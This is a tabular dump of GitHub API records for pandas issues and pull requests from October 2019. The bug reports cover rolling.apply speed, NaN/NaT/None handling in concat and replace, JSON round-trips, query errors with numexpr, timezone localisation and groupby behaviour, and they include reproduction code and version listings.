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Dummy function, circumvented with `__setattr__`
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} | 3 | 2019-10-15T22:36:45Z | 2019-10-16T23:55:34Z | 2019-10-16T23:53:50Z | MEMBER | null | xref #18577 (Nov 2017) | {
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https://api.github.com/repos/pandas-dev/pandas/issues/29018 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29018/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29018/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29018/events | https://github.com/pandas-dev/pandas/issues/29018 | 507,556,082 | MDU6SXNzdWU1MDc1NTYwODI= | 29,018 | rolling.apply extremely slow | {
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} | [] | closed | false | null | [] | null | 3 | 2019-10-16T01:03:59Z | 2019-10-16T05:24:40Z | 2019-10-16T05:22:31Z | CONTRIBUTOR | null | #### Code Sample, a copy-pastable example if possible
```python
import numpy as np
import pandas as pd
size = 100000
df = pd.DataFrame(
{"A": np.random.uniform(size=size)},
index=pd.date_range('2019-01-01', periods=size, freq='1min'))
df.rolling("1H").mean() # 2.32 ms ± 54.7 µs per loop (mean ± std. dev. of 7 runs, 100 loops each)
df.rolling("1H").apply(lambda x: np.nanmean(x), raw=True) # 2.93 s ± 68.7 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
df.rolling("1H").apply(lambda x: np.nanmean(x), raw=False) # 20.9 s ± 283 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
df.rolling("1H").apply(lambda x: x.iloc[0], raw=False) # 11.2 s ± 76.8 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
```
#### Problem description
I am not sure why the builtin rolling mean 1000x faster than calling np.mean using apply but it makes it pretty useless for anything custom. What makes things worse is that I often need to use `raw=False` because I want to make use of the timestamps to scale returns and that is fully 10,000x slower!
#### Expected Output
I just want it to be faster or want a solution that allows me to approach the performance of the builtin `mean` even if it is to somehow compile some cython code...
#### Output of ``pd.show_versions()``
<details>
[paste the output of ``pd.show_versions()`` here below this line]
```
INSTALLED VERSIONS
------------------
commit : None
python : 3.7.0.final.0
python-bits : 64
OS : Darwin
OS-release : 18.7.0
machine : x86_64
processor : i386
byteorder : little
LC_ALL : None
LANG : en_US.UTF-8
LOCALE : en_US.UTF-8
pandas : 0.25.1
numpy : 1.17.2
pytz : 2019.1
dateutil : 2.8.0
pip : 19.2.3
setuptools : 39.0.1
Cython : None
pytest : 4.4.1
hypothesis : None
sphinx : None
blosc : None
feather : None
xlsxwriter : None
lxml.etree : None
html5lib : None
pymysql : None
psycopg2 : 2.8.2 (dt dec pq3 ext lo64)
jinja2 : 2.10.1
IPython : 7.5.0
pandas_datareader: None
bs4 : None
bottleneck : None
fastparquet : None
gcsfs : None
lxml.etree : None
matplotlib : 3.1.1
numexpr : None
odfpy : None
openpyxl : None
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : 1.2.1
sqlalchemy : None
tables : None
xarray : None
xlrd : None
xlwt : None
xlsxwriter : None
```
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https://api.github.com/repos/pandas-dev/pandas/issues/29019 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29019/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29019/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29019/events | https://github.com/pandas-dev/pandas/issues/29019 | 507,599,445 | MDU6SXNzdWU1MDc1OTk0NDU= | 29,019 | Lack of existence of exponential smoother for irregularly spaced time-series | {
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```python
import numpy as np
import pandas as pd
size = 10
df = pd.DataFrame(
{"A": np.random.uniform(size=size),
"ts": pd.date_range('2019-01-01', periods=size, freq='1min')}
)
df["ts"] += pd.to_timedelta(df["A"] * 60, unit="s")
df = df.set_index("ts")
# StreamExponentialSmoother is defined elsewhere...
streaming_smoother = StreamExponentialSmoother(halflife=60)
df["A_ewma"] = [
streaming_smoother.consume(val, int(ts.to_datetime64())/1e9)
for ts, val in df.A.iteritems()
]
```
#### Problem description
I would like to calculate exponential moving average for the values but it seems all builtin pandas functions assume regular time values. Does pandas have a good way to deal with this?
I have already tried resampling the series, but that is not ideal because I want the ewma at the irregular points not sampled regular points. Also, I have written a custom streaming object which I can apply to the values but it requires iterating over the series timestamps and values and is not fast enough. Ideally I want a builtin pandas function which can do ewma taking into account the time index.
#### Expected Output
#### Output of ``pd.show_versions()``
<details>
[paste the output of ``pd.show_versions()`` here below this line]
Not relevant.
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- [x] tests added / passed
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] whatsnew entry
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} | 8 | 2019-10-16T04:32:24Z | 2019-11-08T13:04:35Z | 2019-11-07T23:08:14Z | CONTRIBUTOR | null | - [x] relates to #28926
- [ ] tests added / passed
- [x] passes `black pandas`
- [x] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
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"description": "on-merge: backport to 1.0.x",
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} | 2 | 2019-10-16T07:09:41Z | 2019-10-18T15:15:39Z | 2019-10-18T15:15:30Z | CONTRIBUTOR | null | - [ ] xref #28926
- [ ] tests added / passed
- [ ] passes `black pandas`
- [ ] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] whatsnew entry
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https://api.github.com/repos/pandas-dev/pandas/issues/29023 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29023/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29023/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29023/events | https://github.com/pandas-dev/pandas/issues/29023 | 507,718,028 | MDU6SXNzdWU1MDc3MTgwMjg= | 29,023 | pd.concat inconsistent coercion of None depending of value in rows | {
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"description": "np.nan, pd.NaT, pd.NA, d... | open | false | null | [] | null | 0 | 2019-10-16T09:08:27Z | 2021-07-21T05:57:47Z | null | NONE | null | #### Code example using pandas 0.25.1
```python
import pandas as pd
a = pd.DataFrame({
"date_col": [pd.Timestamp("1990-06-08 00:00:00")],
"foo": [0],
})
b = pd.DataFrame({
"date_col": [None],
"bar": [1]
})
# Works as expected, None is converted to NaT
print(pd.concat([a, b], sort=False, ignore_index=True), "\n")
# date_col foo bar
# 0 1990-06-08 0.0 NaN
# 1 NaT NaN 1.0
# change bar from 1 to "a"
b = pd.DataFrame({
"date_col": [None],
"bar": ["a"]
})
# Expected NaT in date_col, got None
print(pd.concat([a, b], sort=False, ignore_index=True), "\n")
# date_col foo bar
# 0 1990-06-08 00:00:00 0.0 NaN
# 1 None NaN a
```
#### Problem description
I expect the `None` in `date_col` to be converted to `NaT`. Instead, it changes depending on the values of other columns!
* If `bar` contains `1`, `date_col` will contain `NaT`.
* If `bar` contains `"a"`, `date_col` will contain `None`.
Note this may be related to https://github.com/pandas-dev/pandas/issues/28786, but it may not be an exact duplicate. I think the main thing this adds is noting that the behaviour is inconsistent depending on the value of the rows.
Another strange thing is that casting the output to dict and back to df, returns the output I'd expect, where None is converted to NaT!
```python
import pandas as pd
a = pd.DataFrame({
"date_col": [pd.Timestamp("1990-06-08 00:00:00")],
"foo": [0],
})
b = pd.DataFrame({
"date_col": [None],
"bar": ["a"]
})
merged = pd.concat([a, b], sort=False, ignore_index=True)
# Excpeted NaT in date_col, got None
print(merged, "\n")
# date_col foo bar
# 0 1990-06-08 00:00:00 0.0 NaN
# 1 None NaN a
# Converts None to NaT as expected!
print(pd.DataFrame(merged.to_dict()))
# date_col foo bar
# 0 1990-06-08 0.0 NaN
# 1 NaT NaN a
```
#### Expected Output
```python
import pandas as pd
a = pd.DataFrame({
"date_col": [pd.Timestamp("1990-06-08 00:00:00")],
"foo": [0],
})
b = pd.DataFrame({
"date_col": [None],
"bar": ["a"]
})
print(pd.concat([a, b], sort=False, ignore_index=True), "\n")
# date_col foo bar
# 0 1990-06-08 00:00:00 0.0 NaN
# 1 NaT NaN a
```
#### Output of ``pd.show_versions()``
<details>
INSTALLED VERSIONS
------------------
commit : None
python : 3.6.8.final.0
python-bits : 64
OS : Darwin
OS-release : 18.6.0
machine : x86_64
processor : i386
byteorder : little
LC_ALL : None
LANG : en_GB.UTF-8
LOCALE : en_GB.UTF-8
pandas : 0.25.1
numpy : 1.17.2
pytz : 2019.3
dateutil : 2.8.0
pip : 19.3
setuptools : 41.4.0
Cython : None
pytest : None
hypothesis : None
sphinx : None
blosc : None
feather : None
xlsxwriter : None
lxml.etree : None
html5lib : None
pymysql : None
psycopg2 : None
jinja2 : None
IPython : None
pandas_datareader: None
bs4 : None
bottleneck : None
fastparquet : None
gcsfs : None
lxml.etree : None
matplotlib : None
numexpr : None
odfpy : None
openpyxl : None
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : None
sqlalchemy : None
tables : None
xarray : None
xlrd : None
xlwt : None
xlsxwriter : None
</details>
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https://api.github.com/repos/pandas-dev/pandas/issues/29024 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29024/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29024/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29024/events | https://github.com/pandas-dev/pandas/issues/29024 | 507,737,819 | MDU6SXNzdWU1MDc3Mzc4MTk= | 29,024 | Inconsistent behavior for df.replace() with NaN, NaT and None | {
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"description": "np.nan, pd.NaT, pd.NA, d... | open | false | null | [] | null | 7 | 2019-10-16T09:43:53Z | 2021-10-05T23:45:14Z | null | NONE | null | #### Code Sample, a copy-pastable example if possible
```python
import datetime as dt
import pandas as pd
import numpy as np
data = [
['one', 1.0, pd.NaT],
['two', np.NaN, dt.datetime(2019, 2, 2)],
[None, 3.0, dt.datetime(2019, 3, 3)]
]
df = pd.DataFrame(data, columns=["Name", "Value", "Event_date"])
```
```pycon
>>> df
Name Value Event_date
0 one 1.0 NaT
1 two NaN 2019-02-02
2 None 3.0 2019-03-03
>>> df.replace({pd.NaT: None})
Name Value Event_date
0 one 1 None
1 two None 2019-02-02 00:00:00
2 None 3 2019-03-03 00:00:00
>>> df.replace({np.NaN: None})
Name Value Event_date
0 one 1 None
1 two None 2019-02-02 00:00:00
2 None 3 2019-03-03 00:00:00
>>> df.replace({np.NaN: None}).replace({np.NaN: None})
Name Value Event_date
0 one 1.0 None
1 two NaN 2019-02-02 00:00:00
2 None 3.0 2019-03-03 00:00:00
>>> df.replace({np.NaN: None}).replace({np.NaN: None}).replace({np.NaN: None})
Name Value Event_date
0 one 1 None
1 two None 2019-02-02 00:00:00
2 None 3 2019-03-03 00:00:00
>>> df.replace({pd.NaT: None, np.NaN: None})
Name Value Event_date
0 one 1.0 None
1 two NaN 2019-02-02 00:00:00
2 None 3.0 2019-03-03 00:00:00
```
#### Problem description
This might seem somewhat related to #17494. Here I am using a dict to replace (which is the recommended way to do it in the related issue) but I suspect the function calls itself and passes `None` (replacement value) to the `value` arg, hitting the default arg value.
When calling `df.replace()` to replace NaN or NaT with None, I found several behaviours which don't seem right to me :
- Replacing NaT with None (only) also replaces NaN with None.
- Replacing NaN with None also replaces NaT with None
- Replacing NaT and NaN with None, replaces NaT but leaves the NaN
- Linked to previous, calling several times a replacement of NaN or NaT with None, switched between NaN and None for the float columns. An even number of calls will leave NaN, an odd number of calls will leave None.
This is a problem because I'm unable to replace only NaT or only NaN. This is also a problem because if I want to replace both, I intuitively call replace with the dict `{pd.NaT: None, np.NaN: None}` but end up with NaNs.
I suspect two problems here : NaN, NaT and None being all considered as equals, and replace() calling itself with None as value argument.
#### Expected Output
```pycon
>>> df.replace({pd.NaT: None, np.NaN: None})
Name Value Event_date
0 one 1.0 None
1 two None 2019-02-02 00:00:00
2 None 3.0 2019-03-03 00:00:00
>>> df.replace({pd.NaT: None})
Name Value Event_date
0 one 1 None
1 two NaN 2019-02-02 00:00:00
2 None 3 2019-03-03 00:00:00
>>> df.replace({np.NaN: None})
Name Value Event_date
0 one 1 NaT
1 two None 2019-02-02 00:00:00
2 None 3 2019-03-03 00:00:00
```
#### Output of ``pd.show_versions()``
<details>
INSTALLED VERSIONS
------------------
commit: None
python: 3.7.4.final.0
python-bits: 64
OS: Darwin
OS-release: 18.7.0
machine: x86_64
processor: i386
byteorder: little
LC_ALL: None
LANG: None
LOCALE: en_US.UTF-8
pandas: 0.24.2
pytest: None
pip: 19.2.2
setuptools: 41.0.1
Cython: None
numpy: 1.16.4
scipy: None
pyarrow: None
xarray: None
IPython: None
sphinx: None
patsy: None
dateutil: 2.7.5
pytz: 2018.7
blosc: None
bottleneck: None
tables: 3.5.1
numexpr: 2.7.0
feather: None
matplotlib: None
openpyxl: 2.6.2
xlrd: 1.2.0
xlwt: 1.3.0
xlsxwriter: 1.1.8
lxml.etree: 4.2.5
bs4: None
html5lib: 1.0.1
sqlalchemy: 1.2.14
pymysql: None
psycopg2: 2.8.3 (dt dec pq3 ext lo64)
jinja2: 2.10.1
s3fs: None
fastparquet: None
pandas_gbq: None
pandas_datareader: None
gcsfs: None
</details>
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https://api.github.com/repos/pandas-dev/pandas/issues/29025 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29025/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29025/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29025/events | https://github.com/pandas-dev/pandas/issues/29025 | 507,791,132 | MDU6SXNzdWU1MDc3OTExMzI= | 29,025 | Incorrect json round-trip with orient='table' when dataframe contains duplicate index values | {
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"description": "read_jso... | open | false | null | [] | null | 5 | 2019-10-16T11:30:18Z | 2020-05-08T21:18:22Z | null | NONE | null | #### Code Sample, a copy-pastable example if possible
```python
import pandas as pd
df = pd.DataFrame({"col1": [1, 2]}, index=[0, 0])
print(pd.read_json(df.to_json(orient='table'), orient='table'))
print(pd.read_json(df.to_json(orient='split'), orient='split'))
```
Output:
```python
index col1
0 0 1
1 0 2
col1
0 1
0 2
```
#### Problem description
I would expect the json roundtrip to output a dataframe that is identical to the input, regardless of the value of the orient parameter.
#### Expected Output
```python
col1
0 1
0 2
col1
0 1
0 2
```
#### Output of ``pd.show_versions()``
<details>
INSTALLED VERSIONS
------------------
commit : None
python : 3.7.4.final.0
python-bits : 64
OS : Linux
OS-release : 4.15.0-50-generic
machine : x86_64
processor : x86_64
byteorder : little
LC_ALL : None
LANG : en_US.UTF-8
LOCALE : en_US.UTF-8
pandas : 0.25.1
numpy : 1.16.4
pytz : 2019.3
dateutil : 2.8.0
pip : 19.1.1
setuptools : 41.0.1
Cython : None
pytest : 5.0.1
hypothesis : None
sphinx : None
blosc : None
feather : None
xlsxwriter : None
lxml.etree : None
html5lib : None
pymysql : 0.9.3
psycopg2 : 2.8.3 (dt dec pq3 ext lo64)
jinja2 : 2.10.1
IPython : 7.7.0
pandas_datareader: None
bs4 : None
bottleneck : None
fastparquet : None
gcsfs : None
lxml.etree : None
matplotlib : 3.1.0
numexpr : None
odfpy : None
openpyxl : None
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : 1.3.0
sqlalchemy : 1.3.5
tables : None
xarray : None
xlrd : None
xlwt : None
xlsxwriter : None
</details>
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] | closed | false | null | [] | null | 6 | 2019-10-16T11:46:29Z | 2021-07-21T06:06:17Z | 2021-07-21T06:06:17Z | NONE | null | #### Code Sample
```python
df.to_csv('data.csv', boolean_format='lower')
```
#### Problem description
It would be nice if there was an option on formatting boolean values when saving to CSV. Possible options `{'lower', 'upper', 'title'}`.
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] | closed | false | null | [] | null | 4 | 2019-10-16T12:13:14Z | 2019-10-26T20:44:22Z | 2019-10-26T20:44:22Z | NONE | null | #### Code Sample, a copy-pastable example if possible
```python
import pandas as pd
df = pd.DataFrame({'test':[[1,2],[2,3],[3,4]], 'other': [1,2,3]})
df.query('other.isnull()')
```
```python
import pandas as pd
df = pd.DataFrame({'test':[[1,2],[2,3],[3,4]], 'other': [1,2,3]})
df[['other']].query('other.isnull()')
```
#### Problem description
The above codes fail if `numexpr` is installed on the system, and work fine if it's not.
The error depends on what I have in the `query` parameter.
If I have:
```python
df.query('other.isnull()')
```
the error is:
```
Traceback (most recent call last):
File "/tmp/test.py", line 4, in <module>
df.query('other.isnull()')
File "/usr/local/lib/python3.6/dist-packages/pandas/core/frame.py", line 3184, in query
res = self.eval(expr, **kwargs)
File "/usr/local/lib/python3.6/dist-packages/pandas/core/frame.py", line 3300, in eval
return _eval(expr, inplace=inplace, **kwargs)
File "/usr/local/lib/python3.6/dist-packages/pandas/core/computation/eval.py", line 327, in eval
ret = eng_inst.evaluate()
File "/usr/local/lib/python3.6/dist-packages/pandas/core/computation/engines.py", line 70, in evaluate
res = self._evaluate()
File "/usr/local/lib/python3.6/dist-packages/pandas/core/computation/engines.py", line 118, in _evaluate
_check_ne_builtin_clash(self.expr)
File "/usr/local/lib/python3.6/dist-packages/pandas/core/computation/engines.py", line 27, in _check_ne_builtin_clash
names = expr.names
File "/usr/local/lib/python3.6/dist-packages/pandas/core/computation/expr.py", line 850, in names
return frozenset([self.terms.name])
File "/usr/local/lib/python3.6/dist-packages/pandas/core/generic.py", line 1886, in __hash__
" hashed".format(self.__class__.__name__)
TypeError: 'Series' objects are mutable, thus they cannot be hashed
```
If I have:
```python
df.query('other == 0 | other.isnull()')
```
the error is:
```
Traceback (most recent call last):
File "/tmp/test.py", line 4, in <module>
df.query('other == 0 | other.isnull()')
File "/usr/local/lib/python3.6/dist-packages/pandas/core/frame.py", line 3184, in query
res = self.eval(expr, **kwargs)
File "/usr/local/lib/python3.6/dist-packages/pandas/core/frame.py", line 3300, in eval
return _eval(expr, inplace=inplace, **kwargs)
File "/usr/local/lib/python3.6/dist-packages/pandas/core/computation/eval.py", line 327, in eval
ret = eng_inst.evaluate()
File "/usr/local/lib/python3.6/dist-packages/pandas/core/computation/engines.py", line 70, in evaluate
res = self._evaluate()
File "/usr/local/lib/python3.6/dist-packages/pandas/core/computation/engines.py", line 118, in _evaluate
_check_ne_builtin_clash(self.expr)
File "/usr/local/lib/python3.6/dist-packages/pandas/core/computation/engines.py", line 27, in _check_ne_builtin_clash
names = expr.names
File "/usr/local/lib/python3.6/dist-packages/pandas/core/computation/expr.py", line 851, in names
return frozenset(term.name for term in com.flatten(self.terms))
TypeError: unhashable type: 'numpy.ndarray'
```
Also, if I try to disable `numexpr` with:
```python
pd.set_option('compute.use_numexpr', False)
```
I get the same errors. Only uninstalling `numexpr` helps.
The following code fail as well:
```python
df = pd.DataFrame({'test':[[1,2],[2,3],[3,4]], 'other': [1,2,3]})
df = df[['other']].copy()
df.query('other == 0 | other.isnull()')
```
```python
df = pd.DataFrame({'test':[[1,2],[2,3],[3,4]], 'other': [1,2,3]})
df = df.drop('test', axis=1)
df.query('other == 0 | other.isnull()')
```
#### Expected Output
I expect `pandas` not to fail on these code snippets, like it does when `numexpr` is not installed.
#### Output of ``pd.show_versions()``
<details>
INSTALLED VERSIONS
------------------
commit : None
python : 3.6.8.final.0
python-bits : 64
OS : Linux
OS-release : 5.3.0-13-generic
machine : x86_64
processor : x86_64
byteorder : little
LC_ALL : en_US.UTF-8
LANG : en_US.UTF-8
LOCALE : en_US.UTF-8
pandas : 0.25.1
numpy : 1.17.2
pytz : 2019.3
dateutil : 2.8.0
pip : 19.2.3
setuptools : 39.0.1
Cython : 0.29
pytest : None
hypothesis : None
sphinx : None
blosc : None
feather : None
xlsxwriter : None
lxml.etree : None
html5lib : None
pymysql : None
psycopg2 : None
jinja2 : None
IPython : None
pandas_datareader: None
bs4 : 4.8.1
bottleneck : 1.2.1
fastparquet : None
gcsfs : None
lxml.etree : None
matplotlib : None
numexpr : 2.7.0
odfpy : None
openpyxl : None
pandas_gbq : None
pyarrow : None
pytables : None
s3fs : None
scipy : 1.3.1
sqlalchemy : None
tables : None
xarray : None
xlrd : None
xlwt : None
xlsxwriter : None
</details>
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} | 5 | 2019-10-16T15:32:26Z | 2019-10-22T00:34:44Z | 2019-10-22T00:34:39Z | CONTRIBUTOR | null | - [X] closes #17044
- [x] tests added / passed
- [x] passes `black pandas`
- [ ] passes `git diff upstream/master -u -- "*.py" | flake8 --diff`
- [ ] whatsnew entry
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"description": "Incorrect or improved er... | open | false | null | [] | null | 3 | 2019-10-16T16:06:14Z | 2021-07-21T06:06:37Z | null | NONE | null | I read CSV-files with ambiguous local time -- ambiguous due to daylight saving time.
When I apply `tz_localize()` I run in the following error:
AmbiguousTimeError: There are %i dst switches when there should only be 1.
Here is my code to reproduce the error. Note that from 2am to 3am every datetime is a duplicate due to daylight saving time.
index = pd.DatetimeIndex(['2018-10-28 01:00:00', '2018-10-28 01:15:00',
'2018-10-28 01:30:00', '2018-10-28 01:45:00',
'2018-10-28 02:00:00', '2018-10-28 02:00:00',
'2018-10-28 02:15:00', '2018-10-28 02:15:00',
'2018-10-28 02:30:00', '2018-10-28 02:30:00',
'2018-10-28 02:45:00', '2018-10-28 02:45:00',
'2018-10-28 03:00:00', '2018-10-28 03:15:00',
'2018-10-28 03:30:00', '2018-10-28 03:45:00',
'2018-10-28 04:00:00'], freq='infer')
data = list(range(len(index)))
df = pd.DataFrame(data=data,index=index)
df.index = df.index.tz_localize('Europe/Berlin', ambiguous='infer')
I don't quite understand why the error occurs even with parameter `ambiguous='infer'`. <br>
Does my dataframe have to be "sorted" in any way? I think data frames are ordered by default since there is `DataFrame.iloc` <br>
Or is there a specific problem with `pd.read_csv()`? <br>
I wish to apply `ambiguous='infer'` with respect to the order of the CSV file. Precisly I mean: the order of the ambiguous time format helps to differ between summer and winter time.
I would be glad about help for a solution and about a broader explanation. I couldn't find out more about how order can play a role in data frames--does it sometimes?
If order is not the problem here, than I believe this is an issue. | {
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https://api.github.com/repos/pandas-dev/pandas/issues/29032 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29032/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29032/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29032/events | https://github.com/pandas-dev/pandas/issues/29032 | 507,954,150 | MDU6SXNzdWU1MDc5NTQxNTA= | 29,032 | Deprecate getting the name from MultiIndex.levels | {
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} | 7 | 2019-10-16T16:15:00Z | 2020-01-03T02:16:40Z | 2020-01-03T02:16:40Z | CONTRIBUTOR | null | Follow up to https://github.com/pandas-dev/pandas/pull/27242.
https://github.com/pandas-dev/pandas/pull/27242#issuecomment-542602004
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https://api.github.com/repos/pandas-dev/pandas/issues/29033 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29033/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29033/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29033/events | https://github.com/pandas-dev/pandas/issues/29033 | 507,958,654 | MDU6SXNzdWU1MDc5NTg2NTQ= | 29,033 | Inconsistent behavior between df.sum() and groupby(col).agg('sum') on lists | {
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... | open | false | null | [] | null | 0 | 2019-10-16T16:24:13Z | 2021-07-21T06:07:45Z | null | NONE | null | ```python
df = pd.DataFrame({
'id':[1,2,2],
'cost':[5,5,5],
'letters':[['a','b'],['a','b'],['a','b']]
})
print(df.sum()) # joins lists in 'letters' column
print(df.groupby('id').agg('sum')) # drops 'letters' column from results
print(df.groupby('id').agg(pd.Series.sum)) # successfully joins lists in 'letters' column
```
#### Problem description
Like the + operator in python, .sum() in pandas is overloaded to perform list joins as well as numerical addition. However, 'sum' inside of the 'agg' method does not do this. Instead, it treats lists as un-addable objects and drops them from the dataset.
For both convenience and consistency, df.join('col').agg('sum') should exhibit the same behavior on lists as df.sum() and df.col.sum(). This would be as easy as calling the existing pd.Series.sum() function given a 'sum' input from the user. | {
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https://api.github.com/repos/pandas-dev/pandas/issues/29034 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29034/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29034/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29034/events | https://github.com/pandas-dev/pandas/issues/29034 | 507,964,190 | MDU6SXNzdWU1MDc5NjQxOTA= | 29,034 | Drop Python 3.5 support | {
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} | 17 | 2019-10-16T16:35:38Z | 2019-11-08T14:48:11Z | 2019-11-08T14:48:11Z | CONTRIBUTOR | null | As discussed in https://github.com/pandas-dev/pandas/issues/27492.
The 0.25.x branch should be stable for the next release, so we can start on this at any time. | {
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https://api.github.com/repos/pandas-dev/pandas/issues/29035 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29035/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29035/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29035/events | https://github.com/pandas-dev/pandas/pull/29035 | 507,979,051 | MDExOlB1bGxSZXF1ZXN0MzI4ODYzNjg4 | 29,035 | BUG: Fix TypeError in _cython_agg_blocks | {
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} | 2 | 2019-10-16T17:02:49Z | 2019-10-17T15:27:59Z | 2019-10-17T12:37:48Z | MEMBER | null | and change one of the high-level `except Exception`s in groupby.groupby to `except (TypeError, NotImplementedError)`. The remaining `TypeError` will be addressed in a separate PR. Haven't decided about the remaining NotImplementedError.
cc @jreback @WillAyd. | {
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https://api.github.com/repos/pandas-dev/pandas/issues/29036 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29036/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29036/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29036/events | https://github.com/pandas-dev/pandas/issues/29036 | 507,985,952 | MDU6SXNzdWU1MDc5ODU5NTI= | 29,036 | Inconsistent processing of NaT values by GroupBy | {
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"description": "np.nan, pd.NaT,... | open | false | null | [] | null | 4 | 2019-10-16T17:15:04Z | 2021-07-21T14:41:00Z | null | NONE | null | ```python
df = pd.DataFrame({'number': [1, 2, 3], 'time': [pd.NaT, pd.NaT, pd.NaT]})
interval_index = pd.interval_range( start=pd.to_timedelta('10 days'), end=pd.to_timedelta('15 days'), freq='1h' )
df.groupby( pd.cut(df['time'], bins=interval_index) )['number'].count()
```
The example above results in NaT values being counted in the (12 days 11:00:00, 12 days 12:00:00] range. The expected result is 0.
The behavior is also inconsistent. Tweaks to the `interval_index` or the `groupby` operation result in the expected output. For example:
```
end=pd.to_timedelta('14 days')
```
or
```
df.groupby( pd.cut(df['time'], bins=interval_index) )['time'].count()
```
#### Output of ``pd.show_versions()``
<details>
INSTALLED VERSIONS
------------------
commit : None
python : 3.8.2.final.0
python-bits : 64
OS : Linux
OS-release : 4.4.0-18362-Microsoft
machine : x86_64
processor : x86_64
byteorder : little
LC_ALL : None
LANG : en_US.UTF-8
LOCALE : en_US.UTF-8
pandas : 1.0.4
numpy : 1.18.4
pytz : 2020.1
dateutil : 2.8.1
pip : 20.0.2
setuptools : 44.0.0
Cython : None
pytest : None
hypothesis : None
sphinx : None
blosc : None
feather : None
xlsxwriter : None
lxml.etree : None
html5lib : None
pymysql : None
psycopg2 : None
jinja2 : 2.11.2
IPython : 7.15.0
pandas_datareader: None
bs4 : None
bottleneck : None
fastparquet : None
gcsfs : None
lxml.etree : None
matplotlib : 3.2.1
numexpr : None
odfpy : None
openpyxl : None
pandas_gbq : None
pyarrow : None
pytables : None
pytest : None
pyxlsb : None
s3fs : None
scipy : None
sqlalchemy : None
tables : None
tabulate : None
xarray : None
xlrd : None
xlwt : None
xlsxwriter : None
numba : None
</details> | {
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https://api.github.com/repos/pandas-dev/pandas/issues/29037 | https://api.github.com/repos/pandas-dev/pandas | https://api.github.com/repos/pandas-dev/pandas/issues/29037/labels{/name} | https://api.github.com/repos/pandas-dev/pandas/issues/29037/comments | https://api.github.com/repos/pandas-dev/pandas/issues/29037/events | https://github.com/pandas-dev/pandas/issues/29037 | 507,988,014 | MDU6SXNzdWU1MDc5ODgwMTQ= | 29,037 | Categorical column fails in groupby + transform. | {
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"following_url": "https://api.github.com/users/erfannariman/following{/other_use... | null | 5 | 2019-10-16T17:19:41Z | 2020-07-01T18:25:40Z | 2020-07-01T18:25:40Z | CONTRIBUTOR | null | #### Code Sample, a copy-pastable example if possible
```python
import pandas as pd
# Create demo data for package delivery
df = pd.DataFrame({'package_id': [1, 1, 1, 2, 2, 3],
'status': ['Waiting', 'OnTheWay', 'Delivered', 'Waiting', 'OnTheWay', 'Waiting']})
# Status column: Make ordinal
delivery_status_type = pd.CategoricalDtype(categories=['Waiting', 'OnTheWay', 'Delivered'], ordered=True)
df['status'] = df['status'].astype(delivery_status_type)
# CALCULATE LAST-STATUS FOR EACH PACKAGE
# Way 1: (works OK)
# df['last_status'] = df.groupby('package_id')['status'].transform(lambda x: x.max())
# Way 2: Fails. Let's fix it.
df['last_status'] = df.groupby('package_id')['status'].transform(max)
df
```
#### Problem description
Problem is, that code above fails with error:
```
AttributeError Traceback (most recent call last)
<ipython-input-26-174c91615d45> in <module>
----> 1 df['last_status'] = df.groupby('package_id')['delivery_status'].transform(max)
2 df
~\Miniconda3\lib\site-packages\pandas\core\groupby\generic.py in transform(self, func, *args, **kwargs)
1015 # cythonized aggregation and merge
1016 return self._transform_fast(
-> 1017 lambda: getattr(self, func)(*args, **kwargs), func
1018 )
1019
~\Miniconda3\lib\site-packages\pandas\core\groupby\generic.py in _transform_fast(self, func, func_nm)
1062 ids, _, ngroup = self.grouper.group_info
1063 cast = self._transform_should_cast(func_nm)
-> 1064 out = algorithms.take_1d(func()._values, ids)
1065 if cast:
1066 out = self._try_cast(out, self.obj)
AttributeError: 'Categorical' object has no attribute '_values'
```
#### Expected Output
Code should work without error (especially Way 2)
and produce the same result as Way 1
#### Output of ``pd.show_versions()``
<details>
INSTALLED VERSIONS
------------------
commit : None
python : 3.7.3.final.0
python-bits : 64
OS : Windows
OS-release : 10
machine : AMD64
processor : Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
byteorder : little
LC_ALL : None
LANG : None
LOCALE : None.None
pandas : 0.25.1
